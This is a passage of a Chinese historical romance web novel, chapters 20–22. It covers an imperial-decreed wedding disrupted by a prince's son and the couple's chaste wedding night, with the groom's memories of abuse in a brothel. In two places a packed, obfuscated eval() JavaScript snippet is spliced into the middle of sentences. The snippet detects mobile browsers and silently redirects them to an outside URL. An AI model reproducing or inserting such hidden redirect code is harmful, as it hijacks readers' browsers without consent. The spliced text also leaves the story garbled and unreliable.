这下日后即便是圣上再问起此事,他也能以此为借口,给圣上一个交代。并且他这一番话也是在将萧延的罪责往“失仪”上带,否则若是真按沈婉仪刚刚说的话来,他今日这一举动便是被定为“抗旨”也是不为过。 他说完便厉声喝向萧延,“还不赶快退下!当真要继续在这里丢人现眼,坏了圣上赐婚的体面?” 萧延梗着脖子,眼底满是不甘,却又不敢违抗父亲,恶狠狠地瞪了柳青砚一眼,留下个“你给老子等着”的眼神,忿忿离去。 见他终于离开,萧启承这才又转向沈婉仪与柳青砚,拱手作揖,“今日之事,老夫代犬子赔罪,望柳大人、沈姑娘海涵,莫要因小儿一时糊涂耽搁了吉时啊。” 一时糊涂,可真是说得轻巧,若今日这桩婚事并不是圣上所赐,恐怕这世子便直接带上人过来过来闹了,按照这永安王赶来的速度,恐怕届时整个喜宴都被毁掉了。 况且现在的情况也没比这好多少。 但此人毕竟是王爷,还是圣上的亲弟弟,不是沈婉仪这个尚书之女可以轻易抗衡的,她纵然心中不畅,但却也要给他一个台阶下。 沈婉仪微微颔首,回礼道,“王爷言重了。世子刚刚来时带了重礼,妾身心领了,一切风波皆因此而起,还望王爷走时将礼物尽数带回,莫要再因此伤了和气。” 永安王刚刚进来时便已然在院中瞧见了那些奇珍异宝,此刻听沈婉仪提起,心里更是对萧延这败家玩意儿一顿痛骂,奈何面上却仍摆出一脸慷慨大气的模样,“犬子刚刚出言不逊,对柳大人和沈姑娘多有得罪,但既然他已经将这些东西作为礼物送给沈姑娘,那断没有收回去的道理。” 沈婉仪还想再说,永安王却再次拱手道贺,“我在此代表永安王府,就以这些礼物恭贺柳大人及沈姑娘新婚大喜吧,还望柳大人和沈姑娘莫要嫌弃。” 喜宴上的宾客见状,纷纷帮忙打着圆场,气氛勉强缓和下来。 “那便多谢王爷重礼了。”柳青砚神色淡淡拱手回复道。 一些朝丞见他被萧世子一番嘲讽却还能面不改色地在这里对着他父亲道谢,不由在心底暗忖,这人年纪轻轻就能如此隐忍不发,日后绝非池中之物。 沈婉仪也没有料到他竟会答应下来,但柳青砚才是被萧延恶语中伤的主要受害人,既然他已经选择接受道歉,自己也再揪住不放也没有必要,于是便紧跟着回了个礼。 张相见闹事之人终于被请走,忙招来喜娘继续推进婚事,他满脸和蔼道,“哎,刚刚新人已经拜过堂了,现在是不是该送新娘子入洞房了?” 边上站着的众人立马有眼力见地附和着。 ”吉时还未过,新娘子快抓紧时间入洞房吧!” 喜娘被点名,立马从人堆里钻了出来,她站在沈婉仪身旁高声唱道,“礼成——送入洞房——” 鼓乐声再度响起,沈婉仪被喜娘搀扶着朝后院走去。 20. 第 20 章 沈婉仪在新房里静候着。 再入洞房,她的心里再也没有当初那般紧张和兴奋,经历了刚刚萧延的胡搅蛮缠之后,她现在身心更是只剩下疲惫。 和......一点点的疑惑。 疲惫自不必说,成亲这日繁琐的礼节本就多得难以想象,并且这桩婚事是圣上钦赐,更是比起她与梁钺成婚那次多了许多细节,她今日折腾到现在已经是精疲力竭。 而至于这疑惑嘛,沈婉仪从刚刚回房便在想,若是刚刚永安王没有赶来,那萧延所说这柳大人的精彩过往究竟是什么? 她虽然瞧不见萧延脸上的表情,可是却能听出他声音中的笃定,他笃定自己说出来之后,她就不会嫁给柳青砚。 究竟是何事才能让他做此判断?这便是沈婉仪从刚刚离开前厅便一直在思考的问题。 同时她也在问自己到底什么样的事才会让她选择不嫁给柳青砚呢?德行有亏?三心二意? 沈婉仪思考了半晌,得出了一个不太确切的答案。 若是这柳青砚的品行比这萧延还要恶劣许多,萧延要所说之事是当众揭露要揭露他之恶行,且事情为真的话,那她确实会考虑是否还要嫁给他。 但之所以说这个答案不确切,是因为她一时也想不出可以让她不选择柳青砚的理由。因为她本就没有选择的余地。 几个月前,她选择答应柳青砚的成亲是因为她只能在他和萧延之中选。但凡当初没有遇见萧延,她后来也不会答应柳青砚的求亲。 按照沈婉仪原本的计划,她在丧期满之后都还会待在沈国公府好几年,日子久了说不定沈父沈母也被她打动了,不再逼着她嫁人,那时她更是可以顺理成章地在国公府里待一辈子。 若是父母没有被她打动,一直催着她要嫁人,她到时便再找个好拿捏的嫁过去。只要提前与那人谈好条件,成亲一年两人便和离,届时她再以心灰意冷为由,再不谈婚论嫁,这样沈父沈母也拿她没有办法。 起先她将这个想法讲给江霁月听的时候,她也拍案叫好,可是随即便提出了疑问,“若是你找的那个人,不按照你计划的来,到时不与你和离怎么办?” 这是计划实施的关键,她早就已经想好了对策,她面容沉静回答道,“所以一开始便要找个好拿捏的,最好出生家世都要差上沈国公府许多,这样届时他也不敢在我面前造次。” “那万一他瞧上了你们沈公府的富贵,想要当凤凰男怎么办?” 沈婉仪还是第一次听到这个说法,抬眼疑惑地问,“什么是凤凰男?” 江霁月一愣,拍了拍腿,后知后觉反应过来,为她寻了个通俗解释,“就是攀高枝的。” 这样说沈婉仪便明白了。 江霁月见她点了点头,又接着道,“他若是当面一套背后一套,在你父母面前赚得他们的信任,慢慢接过沈府的大权,你到时想拿捏都拿捏不住了,你这计划不就功亏一篑了吗?” 是有些道理,但这个问题沈婉仪也考虑过,她道,“所以不光是要找个好拿捏的,最好更是要能直接捏住他的命门,让他全权配合,这样他才不会在父亲母亲面前乱说话,也不敢再抱有其他的心思。” 江霁月听到她的话,不禁眉毛一挑露出一抹促狭的笑来,她打趣道,“好啊,婉婉,我还一直以为你是一个乖乖女呢,原来你还打过这主意。” 好友这样说,沈婉仪有些不好意思,她解释道,“也没有其他办法,只好出此下策了。” 见闺蜜有些挫败,江霁月立马鼓励道,“婉婉,别不好意思,其实我觉得你这个办法还是可行的,只是到时候你这个人可得好好找。” “我会好好找的。” “说不定运气好的话,你父母日后真被你打动了,不想你这唯一女儿再嫁出去呢,这样你甚至都不用去找人配合做戏了!” 听着这美好的畅想,沈婉仪不免也露出了一抹微笑。 ...... 只是命运向来对她没有那么厚道,它甚至没给她留实施这个计划的机会。但好在峰回路转,她还遇上了一个柳青砚可供选择。 柳青砚在万鹤楼的提议,她是不可能告诉父母的,但江霁月她还是信得过的,于是当日她在万鹤楼与柳青砚的所有对话,她后来都一五一十地转述给了江霁月听。 虽那时她已经答应了这桩婚事,但她仍是想听听自己手帕交的建议。 江霁月听完柳青砚提议时的反应,原本靠在桌沿上的手猛地一拍,紧跟着便站起了身,这突如其来的动作吓了沈婉仪一跳,她不解地看着她,却见她喜出望外地将双手搭在她的肩膀上,“婉婉,你说,你这算不算打瞌睡便有人递枕头?“” 沈婉仪知道她的意思,从某种意义上来说,柳青砚其实挺符合当初她的第二个计划的人选的。 只是按照原定的计划,她得去一一筛选符合要求的人,而柳青砚,他则是自己送上门来的。 沈婉仪没有被这喜悦冲昏头脑,“也不太算。他官位有些高,日后指不定还要继续往上走,怕是不好拿捏。” 江霁月支着下巴,眨了眨眼,“说的也是。不过你父亲是吏部尚书,他就算要往上走也得多靠你父亲提携,你找机会与伯父谈谈,让他别爬得太高便是,不然日后真成了凤凰男了。” 江霁月的话不无道理,是以那天她走后,沈婉仪便一直想找父亲谈谈这事,可谁知道还未与沈父商量此事,她便从柳青砚处知道了空白圣旨一事。 这下是帮也不行,不帮也不行,后来内心的惭愧终于占据了上风,于是才有了沈婉仪当日夜里与父亲的那场谈话,柳青砚确实于她有大恩,是该好好报答他。 但当初答应这场婚事时,沈婉仪就料想过怕出现这样的局面,于是便提前向柳青砚要好了和离书,这样即使他日后平步青云,沈婉仪也不怕他不放人。 即使将日后的打算都已经想好,但今日乍然听萧延提起柳青砚的过往,沈婉仪却还是忍不住感到好奇。 当时父亲从永兴寺向她来信时,便已在信后附上了柳青砚的过往经历,可她当时看下来,并没有发现任何德行有亏之处。 那萧延今日没有说出口的事,是父亲派去的人没有查探到,还是说他是故意捏造的? 不过无论哪一个,听他语气中暗含的兴奋,这件事说出来绝对会败坏柳青砚的名声,并且还会影响她对柳青砚的判断。 这样说来,无论这件事是真是假,她都得弄清楚才行了,毕竟这也与她有关。 那她是直接去问当事人呢还是自己私下派人去查探呢? 可若是真如萧延所说是“精彩过往”,这样的经历想必柳青砚不愿让外人知晓,她与他最多算个合作关系,她没有立场去问他的私事。 就算勉强把他说服,说此事与自己有关,让他告诉自己实情,沈婉仪也并不能判断他说的话是真是假,毕竟人总是趋利避害,更何况这事事关他的名誉。 看来还是得私下派人去查探了,这样比较可靠一点。 正想着,门“吱呀”一声被推开了。 紧接着便是凌乱的脚步声还有些喧闹的人声,沈婉仪估摸着应该进来了好几个人,应是喜娘和柳青砚他们一起进来了。 果不其然,下一秒屋内便响起了喜娘的声音,“新娘子莫怕,这入了洞房呀也还有其他流程,咱们得需把流程走全了,这桩婚事才能长久、安稳!” 喜娘的声音带着热情和活络,“来,新郎上前一步,咱们先把盖头掀了,再行合卺礼!” 这些仪式沈婉仪也是知晓的,但当时她与梁钺入洞房时,梁钺将人都撤了,全程只有她们二人。 她后来问他为何如此,他只笑嘻嘻地回了一句,“你那日都那么累了,再放那么多人去闹你,你索性得烦死,而且只有我们两个人,也再不必拘礼了,你也要轻松许多。” 他说完便做出一副“你看我这么贴心,你还不快夸我”的表情,还特意往自己脸上指了指,弄得沈婉仪只好无奈地亲了亲他的脸,以资奖励。 他却故意在她凑上来时将脸微微一偏,将吻落在她的唇上,一吻即离,眉眼尽是戏谑,“夫君这么贴心,夫人就打算这样奖励我啊?” 简直得了便宜还卖乖,沈婉仪见他这幅登徒子的模样,忍不住上手轻轻拧了拧他腰上的软肉。 “夫人,疼...疼..疼......” 简直胡说,她根本没用劲。 ...... “夫人?” 清越的声音将沈婉仪的思绪拉回,同样的称呼却是由不同的人喊出这让她有些恍惚。 此时视线已然失去了遮挡,光线倏地涌进来,她下意识眨了眨眼,倏尔反映过来,盖头已经揭开了。 她轻轻抬眸望向唤她“夫人”的人,一身醒目的大红喜服非但没有掩盖他的清冽气质,反而将他的眉目衬得愈发清俊。他穿红色反倒越显清冷,与梁钺正好相反,梁钺若是穿红衣,整个人都愈发张扬起来。 见沈婉仪久久盯着他不言语,柳青砚有些不自然地别过视线。或许是新房中皆是一片红色,烛火摇晃下,沈婉仪见着他的耳根似乎也渐渐泛了红。 喜娘接过芸香递过来的两杯酒走上前,递到两人手中,笑着念叨:“合卺合心同甘共苦——” 沈婉仪接过酒杯,指尖碰到微凉的杯壁,交换酒杯时她的手指不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16922789|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小心擦过了柳青砚的手,那一瞬,她似乎感觉他的身体很是僵硬。不过转念一想,柳大人常年孑然一身,或许不习惯别人的亲密触碰,今日这一番流程下来,倒是难为他了。 喝完合卺酒,喜娘又张罗着撒帐。 一把把花生、桂圆、红枣从鎏金盘子里捧起撒向塌上,喜娘喜笑颜开地念着吉祥话:“早生贵子瓜瓞绵绵——” 撒帐过后,便要合髻了,喜娘拿来剪子,准备取头发,沈婉仪见状故作腼腆道,“剩下的便我们自己来吧。”说着便招来芸香将备好的锦囊拿了过来,里面装着的是沉甸甸的喜钱。 喜娘接过锦囊,掂了掂分量,笑得几乎合不拢嘴。以前也有过类似的情况,无非是一双新人太过害羞不习惯太多外人在场,是以她并未觉得有任何不妥。 她嘱咐了几句新人要互敬互爱之类的话后,便笑着带着芸香等人退了出去,临走时还贴心地掩上了房门。 屋内瞬间安静下来,只剩下两人的呼吸声,气氛忽然变得有些微妙。 “今日就到此为止吧。” “阿婉,累坏了吧?我......” 两人几乎同时开口,听见对方的话语都皆是一怔,还是柳青砚先反应过来,接着道,“那便听阿婉的,到此为止吧。” 他说完便抬手伸了过来,沈婉仪瞧见他的动作下意识地避了开来。 柳青砚抬着的手僵了那么一下,随即又缓过来,唇角牵起一点无奈又温和的笑意,低声解释道,“是我唐突了。原是想替你将凤冠和其他发饰卸下来,想着这样你若想歇着就可以先躺一会儿。” 他这般解释,倒是显得沈婉仪是以小人之心度君子之腹了。沈婉仪有些尴尬地答道,“无碍,就不劳烦大人了,我自己来吧。” 柳青砚见她拒绝倒也不恼,他也怕逼的太紧反倒适得其反了。 她说完便起身走到梳妆台前坐下,自己对着铜镜一件件地取下将头上的饰物。 不知道是不是她的错觉,她在梳头时,总觉得柳青砚的视线似乎一直在背后追随着她,可是等她看过去时,他的目光正落在榻边龙凤烛跳跃的烛火上,眉峰微蹙,像是在琢磨什么心事,仿佛方才那道专注的目光,不过是她被烛火晃花了眼的错觉。 见她收拾完,他温柔地问,“要不要吃点东西?折腾了一天,阿婉定是饿极了。” 沈婉仪摇了摇头,自打有了上次和梁钺成亲时的经验,她便让芸香备好了一些点心在身上揣着,刚刚没人时,她已吃下了好几块点心充饥,现在都还不饿。 不过听他又在唤“阿婉”,她便好心提醒道,“大人,现下并无他人,其实不必如此称呼。” 纵然沈婉仪答应了要在人前做戏,但是现在别无他人,二人实在不必亲密相称。她这般想着,便也将这话说了出来。 听到这话,柳青砚神色严肃了几分,他用眼神示意她看向门外,压低了声音,“阿婉,隔墙有耳的道理你不会不懂吧?” 她当然懂,可是这称呼上的小事,谁会特意来偷听? 况且她只是提议四下无人时可正常称呼,人前她仍然会扮演好一个夫人的角色。这样就算有人偷听到,也顶多会认为她们夫妻二人私下相处时相敬如宾,再也挑不出其他任何错处。 见她不为所动的模样,柳青砚又缓缓道,“阿婉,你知道的,我是个御史中丞。虽官位不算高,但因职责所在,弹劾了不少大大小小的官员,在朝中得罪了不少人。是以,阿婉,你别看这柳府虽小,但府里的眼睛却不算少。” 果然还是官位太高了,沈婉仪在心里默默想着,虽他谦虚说自己官位不算高,但若是按照她当初的计划去选人,他是绝对不会出现在她的备选名单上的。 因为官位一高,就会出现他所说的这种情况,导致他们二人的举动时时刻刻都被人盯着,半点也松懈不得。 罢了,之前就此事已经谈论过一遍,这柳府里既是如他所说的这般情况,那也不必再此事上再费口舌了,便由他吧。 不过听他提起御史中丞的身份,沈婉仪倒记起白日里的事,忍不住问:“大人既是御史中丞,按道理来讲该是能言善辩的,可今日萧延那般恶语相向,大人怎的一句反驳都没有?” “还是说大人您......”真被那萧延说中了? 这后一句便是有试探的意味在了,虽沈婉仪已然决定私下派人去查探,但是旁敲侧击一下也无妨。 可谁知,她这几句话问出口,听在柳青砚的耳朵里却全然变了味。 二人隔着几步的距离,他隔着荧荧烛火朝她望过来,眼波如秋水,潋滟得让人沉醉,他轻笑一声,“阿婉,你是在关心我吗?” 21. 第 21 章 沈婉仪不知道他是如何将这两件事联系到一起的。 照理来说,他也是在官场摸爬滚打好几年的人了,不可能连这点弦外之音都听不出来,怎么就得出一个她是在关心他的结论? 不过她问的问题确实和他有关,或许这便是原因? 她犹豫了一会,答道,“......勉强算是吧。” 见她应承下来,柳青砚的笑意更深了,连带着解释的话仿佛都轻柔了许多,“他今日贬低的是我的身世,这是无法更改的事实,我便不想与他在此事上争辩,否则他定会更加变本加厉。” “更何况——阿婉,你不是已经帮我反驳回去了吗?”他说着行了一个礼,“还要多谢阿婉替我解了围。” “大人不必多礼,不过是举手之劳罢了。”沈婉仪想出言阻止他,奈何他动作太快,她的话还未至一半,他便已然行完礼了。 她见状只好默默受了这一拜。 柳青砚见她说是“举手之劳”,心中不免有些涩然。 她总是这样,帮了别人却总不将此事放在心上,纵使别人提起,也是轻飘飘地带过去。 柳青砚怀疑他现在若是提起建宁九年的事,即便她想起来,她可能也会像现在这般一句带过。 可是他不愿意这样。 他不想将他和她唯一的那点纠葛,变成她随口的一句“举手之劳”。 沈婉仪见他久久未起,还以为他是在为萧延所说之事伤怀,走近了隔着喜服轻轻将他扶起,“大人也不必妄自菲薄,人的出生虽然自己无法决定,但日后能走到何处则全靠自己。” “大人如今年纪轻轻便已经官居五品,想来日后也定会步步高升。” 她主动过来扶他是柳青砚没有想到的事,听见她说的话才知她会错了意,以为自己是在为萧延那厮说的话难过,所以特意来安慰自己。 他在心里默默叹息一声,他的阿婉......是个体贴善良之人,只是她却不懂他的心思。 他从不在意别人的看法,即使今日萧延将他之前的过往传得人尽皆知,他也能泰然处之,他只怕一个人知道。 若是阿婉知道此事后,真的如萧延那厮所说,嫌弃他不愿嫁他怎么办? 不对,不会有这种事。圣旨已下,就算阿婉不愿意,她也会遵旨嫁给他的,只是对他的态度......可能会又回到最初相遇的那时候了。 现在想起来,他仍能记起那日她的指尖停留在他脸上的触感,温热、细腻,带着若有似无的香味,以及——她淡淡叫侍女丢掉帕子时冷漠和嫌弃的眼神。 他那时看着她的那副模样,便不合时宜地想起了鸣鸾阁那个老鸨日日在他耳边念叨的话来。 “搞清楚自己的身份,进了我这鸣鸾阁,纵然你这副皮囊有些颜色,但是落在那些世家大族眼里,你也只是一条肮脏的贱狗!贱狗就要有贱狗的觉悟,客人说的话你要唯命是从。即便有些客人要打你,你也得摆出一副笑脸来给我受着!” “别整天装出一副不情愿的模样,我告诉你,我这鸣鸾阁的客人不少都是勋贵人家,甚至还有王孙贵族的姑娘,那是你们这种人平时几辈子都不能触碰到的人!” “这些客人可都是些花容月貌的主儿,能得她们另眼相待,那可是你几辈子得来的福分!” ...... 他那时想,她这样的人想来便是老鸨口中所说世家大族的贵女,他若是没有跑出来,日后会不会在鸣鸾阁里遇见她? 想来应该不会。 她那时尚不知晓他从何处来,便已然那么嫌恶他了,想来若是知晓他的身份,更不会将眼神施舍在他身上一分一毫了。 她不像是会踏足那脏污之地的人。 老鸨说得对,她这样的人于他而言,本是永远也不可企及的人,若不是那人死了,他可能永远都不能成为她的夫君。 刚刚喝合卺酒时,她的手只不过是不经意擦过,他便感觉自己全身都被禁锢了,他在鸣鸾阁里面呆了好几个月,当然知道这是为何,于是当即不敢再乱动,怕引起什么不好的结果。 可现在即使隔着喜服,他仍能感受到从她指尖传过来的温度,依旧如从前般温暖,甚至可以说是灼热,那热度从她触碰之处一直扩撒至他的全身,烫得他不得安宁。 “大人?可是太热了?”沈婉仪见他连脖颈都染上了绯色,才知晓并不是烛火映照着的缘故,她想,还是这喜服太厚重了些,“我去把窗户给打开。” 手腕被人猛地拉住,沈婉仪疑惑回头,“大人?” “阿婉,哪有人洞房之夜开着窗户的?” “可是你......” “无碍,只是刚刚在外面多饮了些酒。”柳青砚说完这句,看见沈婉仪正将视线放在他拉住她的手上,他噌的一下反应过来,猛地将手撒开,耳根更烫了。 他喉结轻轻滚了滚,有些不自然道,“多谢阿婉宽慰。” “宽慰倒是谈不上,这些都是明眼人能看出来的事。”听他提起敬酒,沈婉仪想起来他似乎今日一整天也没有进食,道,“大人,若是饿了可叫人送点吃食进来。” 柳青砚摇了摇头,“早晨吃过一点,刚刚在外面又饮了许多酒,现在并不饿。” 他这幅视线清明的状态倒不像饮了许多酒的模样,沈婉仪想起梁钺,虽是个将军,喝酒却是三杯倒,成亲那日他连酒都不敢多喝。 两人倒是完全反了过来。 沈婉仪不禁叹道,“大人倒是海量。” 柳青砚听出这话是略带调侃的意味,眉头轻轻挑了挑,他对阿婉了解得太少,还以为她对待任何人都是寡言少语的状态。 不对,也不是任何人,她与熟悉之人相处时,经常是侃侃而谈的模样,比如——他曾经见过的,她与那个人谈笑时眉目生动的模样。 旋即他又心念一动,阿婉这样说,是不是代表他和她的关系亲密了一些? 沈婉仪并不知道桌边之人活络的心思,她理了理袖口的衣襟,开始逐渐打量这间屋子。 屋子分里外三间,逐一用屏风和纱幔隔开,最外面那间隔出来用作了书厅,里面这间桌椅齐全,可作待客用,她们如今所在的这间是里屋,整屋都是清一色的黄梨木家具,刚刚所坐的床榻也是一张梨木雕花的拔步床,为表喜庆,外面挂着红色的软烟罗纱帐。 两侧放着书架,墙上挂着字画,书架正中还有一张宽大的书案,上面笔墨纸砚一应俱全。 正中还有一张小桌,桌上放着茶具,柳青砚便是坐在桌边。 靠墙最外侧,有一张梨花木的美人榻,上面铺着柔软的绒毯,若是再备下厚实的锦被,在上面歇息应该不会着凉。 这桩婚事是圣上亲赐,柳青砚也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16933630|192630||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特意给了喜钱,与宾客们打了招呼,待会儿不会有人来闹洞房。 夜深人静,也是时候歇息了。 沈婉仪率先开了口,“今晚我睡在这榻上吧。” “不妥。”柳青砚也正准备说这件事,听到她的提议后断然选择了拒绝,他语气郑重道,“阿婉,你睡床上,我来睡榻。” 左右不是睡榻便是睡床,沈婉仪累了一天了也不想再此事上浪费时间,当即便答应了下来。 “那就委屈大人了。” 虽是孤男寡女共处一室,沈婉仪倒是不怕他会对自己做出什么过分的举动,他来提亲一是为报恩,二是为提携,若是他真对自己做了什么,那前面两个目的他都达不到。 这可是相当不划算的,并且他还为此奉上了一道空白圣旨。 且这两次见面,他这人沈婉仪倒也算略有了解,他确实如父亲所言温和谦卑,克己复礼,也不像会做出此事的人。 但若此人真是人面兽心,沈婉仪也并不是毫无防备之人,他若是真来硬的,她随身带着的软筋散可以瞬间将他药倒。 这软筋散可是她让兰黛特意准备的,兰黛说,这药连一头几百斤的牛都可以药倒,更别说只是一个成年男子了。 她说完便准备吹熄蜡烛去歇息,柳青砚却道,“阿婉,你直接去歇息,我来吧。” 沈婉仪微微颔首,脚步刚调转方向,她想起了什么,回过头来对着烛台那边颀长的背影提醒,“待会中途还得叫一次水来。” 红烛燃得正旺,烛芯爆出几点细碎的火星。 柳青砚正拿着烛熄往火苗上覆,闻言指尖猛地一顿,那跃动的暖黄火光便骤然晃了晃,连带着他瞳孔里映照着的烛光都跳了跳。 沈婉仪说这话时态度太过稀松平常,平常到他第一时间都没反应过来她在说何事,等到明白过来时,绯色已染红了他的脸颊。 不过好在他背对着拔步床,沈婉仪并不能看到他泛红的脸颊。 沈婉仪久久未得到应答,还以为他没有听见,正想重复一遍时,才远远的听到了他“嗯”的一声。 见得到了回复,她便放心去睡了。 她并不会认为柳青砚蠢到还要她来解释此举为何的程度。 她今年二十有三,柳青砚只比她小几个月,虽说他并不是世家大族出生,但沈婉仪还是懂得他这样年龄的人应是早就已经开了荤的。 世家大族的男子在十五岁之后,家里就会逐渐安排上通房丫鬟伺候,便是为此事做启蒙。 柳青砚此人虽出身贫寒,但却也是在官场上混迹了好几年的人,虽说沈父之前传回来的密信上说他将提亲的媒人都拒了,但沈婉仪并不认为这代表他对房事便一窍不知。 但不管他知或不知,又或是之前和怎样的女子有过牵扯,沈婉仪对此事并不关心。 说到底,她们只是在扮演一对夫妻,并不是真正要做一对夫妻,若是真的要做夫妻,那沈婉仪对此事是断不能容忍的。 因为她觉得那会很脏。 但对于一个只是顶着“夫君”名头的人而言,沈婉仪对他的要求就没有那么高了。 更何况此人还是她沈国公府的恩人,即使哪日他要纳十几房小妾,沈婉仪也绝不会说一个“不”字,她反倒会欣然将她们都迎进门。 反正到时说不定她已经拿着和离书走人了。 22. 第 22 章 沈婉仪今日显然是累极了,屋子里的喜烛熄灭到只剩两支龙凤烛时,柳青砚已然听到了她平稳的呼吸声。 龙凤烛,需燃至天明,一对新人才会白首偕老,若中途熄灭,则会代表这对新人的婚姻易生变动。 柳青砚拿来烛剪,轻轻剪去烛火中焦黑的灯芯,火光跳跃了一下,旋即便明亮了几分,暖黄的光晕落在他低垂的眉眼间,添了几分柔和。 他将烛剪搁置好,慢慢将床榻走近。 偌大的房间只有他们二人,柳青砚觉得自己的心跳声似乎比脚步声都还要清晰。 他怕惊扰了沈婉仪,不敢坐在床榻边上,尽管那里有很宽的空位。 他在床榻前静静地站着,借着昏暗的光线,一点点描摹榻上的沈婉仪。 她的教养很好,睡觉时双手叠放在腹部,一动不动,仿佛连入睡时都在守规矩。 柔软的大红锦被衬出她小巧的下颌,乌黑光滑的青丝散了半枕,几缕贴在了她的侧脸,睫羽纤长如蝶翼,随着浅浅的呼吸轻轻颤动着。 进入睡眠后,她的眉眼舒展了许多,没了平时白日里的疏离清冷,反倒添了几分不设防的柔和。 他忍不住地想,今晚是洞房花烛夜,照理不该这么平静才对。 若他们真是寻常夫妻,那此时......他看着她微微侧头时露出的雪白又纤长的脖颈,昏黄光线下,仿佛上了一层温润的釉色。 那此时......上面应该布满红印才对。 不对,不止这处,如果真的可以触碰...... 他怎么可能只会选择那一处。 这想法刚出的下一秒,他忽地反应过来,甩了甩头,想把这些污秽甩出自己的大脑,然而只是徒劳......那宛如魔咒一般的话又重新在他耳边响起。 “你以为你多清高?还想永远做个正人君子?我告诉你,你们男人骨子里面就是贱的!尽管你们装的人模人样,但那些客人只要撒撒钱,勾勾手,你们还不就乖乖地跪着爬过去了?” “竟然还敢跑?来人,给我接着打!给我打服他!别伤了他的脸就行!” ...... “还不服呢?你看你现在这副狼狈的模样,你就算跑了出去,别人知道你是我这鸣鸾阁出去的,谁家好人家的女儿会嫁给你?更别说那些高门贵女!” “届时你就算给人上赶着当狗,别人说不定都会嫌你脏呢!” ...... 他又想起那张被她擦过手就丢掉的手帕,它根本无人在意,于是他后来趁乱将它捡走了也没有任何人知道。 后来每次午夜梦回时,它都被他折磨得不成样子。 直到那方柔软再也经不起折腾时,他才终于放过它。 可是梦魇却依然没有放过他。 梦里一会儿是那浸了盐水的鞭子,一会是她指尖温暖细腻的触感,一会是那老鸨的咒骂,一会是她丢掉帕子时冰冷又嫌弃的眼神。 场景变化无常,但常常是他一遍遍地向她膝行,却又一遍遍被她给踹开。 等到她终于肯垂眸,施舍般将目光落在他身上时,那眼神却冷冽又轻蔑,像在打量一件碍眼的垃圾。 他赤身*体被她踩在脚下,她嘲讽地看着他昂首的某处。 “贱狗。”梦里的她淡淡下了结论,一如那天她说最后一句话时的语气。 悉悉索索地翻动声陡然将他的思绪拉回。 新的卧房让沈婉仪睡得没那么适应,她侧了侧身,调整了一下姿势,为着这动作,她衣襟的领口敞开了些。 调整后的姿势正好正对着床榻边,柳青砚目光落下去时,恰好能看见她颈下露出来的一截锁骨,线条清晰,浅浅陷着两道弯弧,堪堪能容下两指。 她刚刚提醒他的话,他当然知道为何,在鸣鸾阁时,那些人甚至会教他们如何伺候客人事后沐浴。 只是他在听到她说这话过后,却忍不住地想,她之前的新婚夜,定然是也是叫了水的。 这意味着什么,背后不言而喻。 他知道她今日一整天都有些不在状态,时常会走神。 但他不会去问她走神时她在想什么,因为他知道那答案定是他所不愿知晓的,问了也只会让两人徒增两人的尴尬。 她与梁钺是青梅竹马,门当户对,她们的新婚夜定然不是像现在这样早早入睡。 而现在,他虽然与她拜了堂成了亲,可是他却仍然不敢堂而皇之地触碰她。 柳青砚看着榻上之人沉静的睡颜,目光扫过那一小片雪色肌肤,喉结不自觉地滚了滚。 脑海中的梦魇一遍遍的闪现,让他心中突然涌出一股冲动来,如果他现在对她做寻常夫妻做的事,她会怎么对他? 她会不会和梦里面的她一样,用看垃圾的眼神看着他,骂他“下贱”? 他光是想想就觉得浑身的血液都沸腾起来,燥热之意愈发明显。 他手指下意识地蜷了蜷,他赶在那想法彻底占据他的大脑前闭上了双眼,手指微动,滑落的锦被他轻轻提了上去,盖住了那引人遐想的雪色。 柳青砚走至桌边,为自己倒了一杯清茶,微苦的茶水下肚,他的脑海略微清明了几分。 他看着燃烧得正旺的龙凤烛,心想,他想要的从来不是一时的温存,他要的是要待在她身边长长久久的相守。 在她接受他之前,他会努力维持好端方君子的模样。 不对,若是她喜欢,他会一直穿好这具温润如玉的君子皮囊。 漆黑的屋内,唯有两盏龙凤烛映照出来的烛光摇摇晃晃,忽明忽暗的光影落在桌边之人身上,他身后沉沉的暗影也随之抖动,恰如此刻他心底那点翻涌如墨的旖念。 月上中天的时候,卧房的门从里面打开了,芸香听到动静,立即起身候着。 没过多久,昏暗的屋内走出一个修长的身影,柳青砚披着一件外衣出来淡淡吩咐道,“打水来吧。”声音有些喑哑。 他说完去了浴房。 芸香立即领命着人下去准备,自己则先进了屋子。 沈婉仪见她进来,招了招手让她过来,“待会儿她们抬水进来,你便让她们都出去,只留你一人伺候就行。” 芸香不明就里,但仍然点头照做。 热水准备好之后,整个屋内便只剩下她们主仆二人,沈婉仪脱了衣服,跨入浴桶之中坐下。 芸香见到那雪白无暇的肌肤,顿时明白过来什么,有些讶然地问,“姑娘,你和姑爷......” 沈婉仪点了点头,“就是你想的那样。” “芸香,这府里,我最相信的便只有你一个人,所以你得守好消息,不要告诉任何人。” “兰黛那边......” “也不必告诉她,她性子活泼又整日和阿盈待在一块,若是哪日让阿盈知道了倒是麻烦。” 若孩子太小,带着孩子的寡妇成亲当日,孩子是不用一起到夫家的,一来是这样容易被人指点,二来是怕孩子年龄太小耽搁了进程。 是以梁盈今日并没有一同到柳府来,而是由林氏带着留在沈国公府,等到明日再坐着专门的小轿再过来。 芸香听到此事连兰黛都不知晓,更觉自己深得姑娘信任,她狠狠点了点头,保证道,“姑娘,我会的。” 